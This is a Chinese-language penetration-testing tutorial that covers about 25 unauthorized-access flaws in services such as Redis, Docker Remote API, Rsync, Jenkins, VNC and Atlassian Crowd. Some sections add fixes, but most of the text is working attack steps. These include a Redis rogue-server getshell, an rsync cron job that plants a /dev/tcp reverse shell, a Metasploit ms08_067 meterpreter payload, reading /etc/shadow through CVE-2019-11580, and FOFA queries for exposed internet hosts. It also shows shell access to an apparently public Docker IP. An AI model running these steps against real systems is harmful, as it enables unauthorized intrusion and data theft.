未授权访问漏洞
一.Redis未授权访问漏洞
启动我们的靶场
在kali安装一下redis输入
apt-get install redis
我们去尝试redis连接,输入
redis-cli -h 8.155.8.255 -p 6379
连接成功后输入info看看是否能执行
执行成功
#redis常⻅命令
(1)查看信息:info
(2)删除所有数据库内容:flushall
(3)刷新数据库:flushdb
(4)看所有键:KEYS *,使⽤select num可以查看键值数据。
(5)设置变量:set test "whoami"
(6)config set dir dirpath 设置路径等配置
(7)config get dir/dbfilename 获取路径及数据配置信息
(8)save保存
(9)get 变量,查看变量名称
下面是getshell redis的工具下载地址
https://github.com/n0b0dyCN/redis-rogue-server
我们直接克隆
git clone https://github.com/n0b0dyCN/redis-rogue-server
ls查看一下
cd到redis-rogue-server
cd redis-rogue-server
看到了.py
运行这个工具,输入
python3 redis-rogue-server.py --rhost 8.155.8.255 --lhost 8.155.8.255
rhost指定的是目标ip
lhost指定的是本机ip
第一遍失败了,正常,在运行一次
成功了,我们选i正向获取shell
输入id试一下
获取成功
二.MongoDB未授权访问漏洞
拉取镜像,输入
docker pull mongo
打开navicat,连接——>MongoDB
确定,连接成功,存在未授权访问漏洞
修复防御:
1. 为MongoDB添加认证:MongoDB启动时添加 --auth 参数、为MongoDB添加⽤户。
2. MongoDB ⾃身带有⼀个HTTP服务和并⽀持REST接⼝。在2.6以后这些接⼝默认是关闭的。
mongoDB默认会使⽤默认端⼝监听web服务,⼀般不需要通过web⽅式进⾏远程管理,建议禁⽤。
修改配置⽂件或在启动的时候选择 –nohttpinterface 参数 nohttpinterface=false 。
3. 启动时加⼊参数 --bind_ip 127.0.0.1 或在 /etc/mongodb.conf ⽂件中添加以下内容:bind_ip = 127.0.0.1 。
三.Memcached未授权访问漏洞
我们来到下方地址下载一下Memcached程序
https://www.runoob.com/memcached/window-install-memcached.html
直接点开我们是无法运行的
我们以管理员身份打开终端
输入下面两条命令
memcached.exe -d install
memcached.exe -d start
打开kali,使⽤Telnet程序探测⽬标的11211端⼝,输入
telnet 172.16.1.140 11211
连接上以后输入stats试试是否连接成功
漏洞修复:
1. 设置Memchached只允许本地访问。
2. 禁⽌外⽹访问Memcached 11211端⼝。
3. 配置访问控制策略。
4. 最⼩化权限运⾏。
5. 修改默认端⼝等。
四.Zookeeper未授权访问漏洞
我们用fofa搜索一下语法
port="2181" && "Zookeeper" && country="US"
在kali中使用以下命令进行未授权访问漏洞测试
echo envi | nc ip 端⼝
使用Zookeeper可视化管理⼯具进⾏连接
https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
双击运行(需要java环境)
点击ok,过一会出现这些目录,连接成功
漏洞修复:
1. 修改 ZooKeeper 默认端⼝,采⽤其他端⼝服务。
2. 添加访问控制,配置服务来源地址限制策略。
3. 增加 ZooKeeper 的认证配置。
五.Jenkins未授权访问漏洞
用fofa搜索下面语句
port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"
我们去访问后台/manage
下面这个就是不存在Jenkins未授权访问漏洞
下面这个就是存在Jenkins未授权访问漏洞
输入
println "whoami" .execute().text
说明存在Jenkins未授权访问漏洞
六.Jupyter NoteBook未授权访问漏洞
用fofa搜索
"Jupyter Notebook" && port="8888" && "terminals"
点进第一个
存在Jupyter NoteBook未授权访问漏洞
漏洞修复:
1. 开启身份验证,防⽌未经授权⽤户访问。
2. 访问控制策略,限制IP访问,绑定固定IP。
七.Elasticsearch未授权访问漏洞
漏洞信息:Elasticsearch服务普遍存在⼀个未授权访问的问题,攻击者通常可以请求⼀个开放9200或9300的服务器进⾏恶意攻击。
使用fofa搜索
"Elasticsearch" && port="9200"
http://localhost:9200/_plugin/head/ web管理界⾯
http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search 查看数据库敏感信息
http://localhost:9200/_nodes 查看节点数据
存在Elasticsearch未授权访问漏洞
漏洞修复:
1. 访问控制策略,限制IP访问,绑定固定IP。
2. 在 config/elasticsearch.yml 中为9200端⼝设置认证等
八.Kibana未授权访问漏洞
漏洞信息:Kibana如果允许外⽹访问且没有做安全登录认证,就会被外部任意访问,查看所有数据,造成数据泄露。在默认配置下,Kibana就可以访问Elasticsearch中的所有数据。
用fofa搜索
"kibana" && port="5601"
挨个访问
HTTP://{IP}/app/kibana#/
直到出现这种拼接语句,说明存在Kibana未授权访问漏洞
漏洞修复:
1. 升级Kibana到最新版本,升级地址如下https://www.elastic.co/cn/downloads/kibana。
2. 在kibana所在的服务器上安装nginx服务,利⽤nginx的转发指令实现,需要输⼊账号密码才可以访
问⻚⾯。
3. 如果正常业务中 kibana 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP
来访问服务。
九.Docker Remote API未授权访问漏洞
漏洞信息:Docker Remote API如配置不当可导致未授权访问,被攻击者恶意利⽤。攻击者⽆需认证即可访问到Docker数据,可能导致敏感信息泄露,⿊客也可以删除 Docker上的数据,直接访问宿主机上的敏感信息,或对敏感⽂件进⾏修改,最终完全控制服务器。
使用fofa搜索
port="2375" && "docker"
http://ip:2375/version #查看版本信息
http://ip:2375/info #查看容器信息
这个就说明存在Docker Remote API未授权访问漏洞
在使用-H参数连接⽬标主机的docker,使⽤ps命令查询⽬标系统运行的镜像。
docker -H tcp://44.201.126.233:2375 ps
docker -H tcp://44.201.126.233:2375 version
docker -H tcp://44.201.126.233:2375 exec -it 1f4 /bin/bash
十.Kubernetes Api Server未授权访问漏洞
使用fofa搜索
port="8080" && app="Kubernetes"
在打开的网页中直接访问 8080 端⼝会返回可⽤的 API 列表
漏洞修复:
1. 进⾏授权认证
2. 使⽤Service Account令牌
3. 置防⽕墙策略
十一.Hadoop未授权访问漏洞
fofa搜索
port="8088" && app="Hadoop"
开启页面直接访问不经过⽤户密码验证
1. 如⽆必要,关闭 Hadoop Web 管理⻚⾯。
2. 开启身份验证,防⽌未经授权⽤户访问。
3. 设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端⼝对公⽹全部禁⽌或限制可信任的IP地址才能访问包括 50070 以及 WebUI 等相关端⼝。
十二.ActiveMQ未授权访问漏洞
fofa搜索
body="ActiveMQ" && port="8161"
访问admin不经过用户密码验证,或者弱密码(账号密码都是admin)
1. ActiveMQ的安全配置分为控制台安全配置和后台安全配置。控制台安全配置是指⽤户通过浏览器登录ActiveMQ管理界⾯,对ActiveMQ进⾏管理的⼀个安全配置;主要是添加⽤户和密码。后台安全配置是指程序通过ActiveMQ发送消息的⼀个安全配置。
2. ActiveMQ后台安全配置。配置置连接ActiveMQ的⽤户名和密码,如果不设置ActiveMQ安全机制,任何知道ActiveMQ服务的IP、端⼝和消息地址的⼈,都可以接受和发送消息。
十三.RabbitMQ未授权访问漏洞
fofa搜索
port="15672"
port="15692"
port="25672"
在打开的页面中可输⼊默认的账号和密码进行登陆(默认账号密码都是guest)
1. 修改为强密码,删除默认的账号guest。
2. 禁止对外网开放,仅限于内部访问。
3.对用户身份进行核验
十四.Springboot Actuator未授权访问漏洞
漏洞信息:Actuator 是 springboot 提供的⽤来对应⽤系统进⾏⾃省和监控的功能模块。其提供的执⾏器
端点分为两类:原⽣端点和⽤户⾃定义扩展端点,原生端点主要有:
/dump - 显示线程转储(包括堆栈跟踪)
/autoconfig - 显示⾃动配置报告
/configprops - 显示配置属性
/trace - 显示最后⼏条HTTP消息(可能包含会话标识符)
/logfile - 输出⽇志⽂件的内容
/shutdown - 关闭应⽤程序
/info - 显示应⽤信息
/metrics - 显示当前应⽤的’指标’信息
/health - 显示应⽤程序的健康指标
/beans - 显示Spring Beans的完整列表
/mappings - 显示所有MVC控制器映射
/env - 提供对配置环境的访问
/restart - 重新启动应⽤程序
fofa搜索
icon_hash="116323821"
1.访问/trace端点获取基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等),如果存在登录⽤户的操作请求,可以伪造cookie进⾏登录。
2.访问/env端点获取全部环境属性,由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以mysql、mangodb 数据库信息,如果数据库正好开放在公⽹,那么造成的危害是巨⼤的。
3.git 项⽬地址泄露,这个⼀般是在/health 路径,⽐如如下站点,访问其 health 路径可探测到站点 git 项⽬地址。
当 web 应⽤程序出现 4xx、5xx 错误时显示类似以下页面就能确定当前 web 应用是使用了springboot 框架.
给网站后面拼接/trace或者/env或者/health
1. 禁⽤/env接⼝。
2. 升级到Springboot actuator 2.0。
3. 禁⽌对外开放。
十五.FTP未授权访问漏洞(匿名登陆)
我们在本地搭建一个模拟的测试环境
打开iis管理器
去本地计算机访问
ftp:172.16.1.140
漏洞修复:禁止匿名登录
十六.JBoss未授权访问漏洞
fofa搜索
title="Welcome to JBoss"
http://ip:port/jmx-console/
后续可以利⽤ jboss.deployment 部署shell
1. jboss.deployment部署shell
2. 进⾏JMX Console 安全配置。
十七.Ldap未授权访问漏洞
fofa搜索
port="389"
http://www.ldapadmin.org/download/index.html
https://sourceforge.net/projects/ldapadmin/
1. 修改ldap的acl,不允许匿名访问。
2. 根据业务设置ldap访问⽩名单或⿊名单。
十八.Rsync未授权访问漏洞
# 配置⽂件
motd file -> motd⽂件位置
log file -> ⽇志⽂件位置⽂件位置
path -> 默认路径位置路径位置
use chroot -> 是否限定在该⽬录下定在该⽬录下该⽬录下,如果为true就限定为模块默认⽬录
read only -> 只读配置
list=true -> 是否可以列出模块名以列出模块名出模块名
uid = root -> 传输使⽤的⽤户名
gid = root -> 传输使⽤的⽤户组
auth users -> 认证⽤户名
secrets file=/etc/rsyncd.passwd -> 指定密码⽂件密码⽂件,密码⽂件/etc/rsyncd.pa
sswd的内容格式为:username:password
hosts allow=192.168.0.101 -> 设置可以允许访问的主机
hosts deny 禁⽌的主机*表任意任意
# 基本命令
Rsync [-avrlptgoD] [-e ssh] [user@hostIP:/dir] [/local/path]
-v 观察模式,输出更多资讯
-q 与 –v 相反,仅显示错误信息
-r 递归复制,针对⽬录
-u 仅更新较新的⽂件
-l 复制连接的属性
-p 复制时保持属性不变
-g 保存原有群组
-o 保存原有拥有⼈
-D 保存原有装置属性
-t 保存原有时间属性
-I 忽略更新时间属性,档案⽐对较快
-z 加上压缩参数
-e 使⽤协议通道,例如ssh,-e ssh
-a 相对于-rlptgoD,所以-a最常⽤
漏洞描述:Rsync未授权访问带来的危害主要有两个:
1. 造成了严重的信息泄露;
2. 上传脚本后⻔⽂件,远程命令执⾏;
在fofa搜索
(port="873") && (is_honeypot=false && is_fraud=false)
启动靶场
cd vulhub/rsync/common
docker-compose up -d
执行命令
rsync rsync://8.155.7.133:873/src/
对系统中的敏感⽂件下载操作 /etc/passwd,输入
rsync rsync://IP:port/src/etc/passwd
rsync rsync://8.155.7.133:873/src/etc/passwd /tmp/
cat /tmp/passwd
上传⽂件,如果有相应的jsp/asp/php环境可以写⼀句话以phpinfo为例
echo "" > phpinfo.php
cat phpinfo.php
rsync phpinfo.php rsync://8.155.7.133:873/src/home/
反弹shell:在此可利⽤定时任务cron来反弹获取shell
#查看定时任务
rsync rsync://8.155.7.133:873/src/etc/crontab
#安静定时文件下载下来
rsync rsync://8.155.7.133/src/etc/crontab /tmp/crontab.txt
#定时任务内容为,⼤致意思为每17分钟调⽤⼀次/etc/cron.hourly
cat /tmp/crontab.txt
#创建shell⽂件
/bin/bash -i >& /dev/tcp/8.155.8.255/8888 0>&1
#授权shell文件
chmod 777 shell
#上传shell至靶机
rsync -av ./shell rsync://8.155.7.133:873/src/etc/cron.hourly
#攻击机开启nc监听相应端⼝
nc -lvp 8888
十九.VNC未授权访问漏洞
fofa搜索
(port="5900") && (is_honeypot=false && is_fraud=false)
# VNC未授权检测
msf6 > use auxiliary/scanner/vnc/vnc_none_auth
msf6 auxiliary(scanner/vnc/vnc_none_auth) > show options
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set rhosts 172.16.1.1-254
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set threads 100
msf6 auxiliary(scanner/vnc/vnc_none_auth) > run
# VNC密码爆破
msf6 > use auxiliary/scanner/vnc/vnc_login
msf6 auxiliary(scanner/vnc/vnc_login) > set rhosts 172.16.1.200
msf6 auxiliary(scanner/vnc/vnc_login) > set blank_passwords true //弱密码爆
破
msf6 auxiliary(scanner/vnc/vnc_login) > run
# 加载攻击模块
msf6 exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/ms08_0
67_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterprete
r/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 172.16.1.200
msf6 exploit(windows/smb/ms08_067_netapi) > set lhost 172.16.1.10
msf6 exploit(windows/smb/ms08_067_netapi) > set target 34
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
获取会话后,直接run vnc可控制远程虚拟机
# 直接控制远程机器
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/vncinject/reverse_tcp
msf6 exploit(multi/handler) > set lhost 172.16.1.200
msf6 exploit(multi/handler) > set lport 4466
msf6 exploit(multi/handler) > exploit
步骤三:VNC链接验证
vncviewer ipaddress
二十.Dubbo未授权访问漏洞
fofa搜索
(app="APACHE-dubbo") && (is_honeypot=false && is_fraud=false)
在kali输入
telnet IP port
1. 配置dubbo认证。
2. 设置防⽕墙策略;
如果正常业务中dubbo 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP 来访问服务。
二十一.NSF共享目录未授权访问
fofa搜索
"nfs"
在kali安装nfs-common
apt install nfs-common
showmount -e 61.224.101.104
mount -t nfs 192.168.126.130:/grdata /mnt
二十二.Druid未授权访问漏洞
步骤⼀:使⽤以下语句在Fofa与Google上进⾏资产收集....
# Fofa
title="Druid Stat Index"
# PHPINFO⻚⾯
inurl:phpinfo.php intitle:phpinfo()
info.php test.php
# Druid未授权访问
inurl:"druid/index.html" intitle:"Druid Stat Index"
步骤⼆:对访问到的站点查看
步骤三:Druid批量扫描脚本...
https://github.com/MzzdToT/CVE-2021-34045
二十三、CouchDB未授权访问
步骤⼀:使⽤以下语句在Fofa上进⾏资产收集....或开启Vulhub靶场进⾏操作
# 搜索语法
(port="5984") && (is_honeypot=false && is_fraud=false)
# Vulhub靶场
cd /vulhub/couchdb/CVE-2017-12636
docker-compose up -d
步骤⼆:执⾏未授权访问测试命令
curl 192.168.1.4:5984
curl 192.168.1.4:5984/_config
步骤三:反弹Shell参考
https://blog.csdn.net/qq_45746681/article/details/108933389
二十四.Altassian Crowd
步骤⼀:使⽤以下语句在Fofa上进⾏资产收集
(port="554") && (is_honeypot=false && is_fraud=false) && protocol="rtsp"
步骤⼆:执行攻击命令并验证
python2 CVE-2019-11580.py http://192.168.116.132:8095/
curl http://192.168.116.132:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow
二十五.RTSP未授权访问漏洞
(port="554") && (is_honeypot=false && is_fraud=false) && protocol="rtsp"
rtsp://admin:admin@192.168.1.1:554/cam/realmonitor?channel=2&subtype=1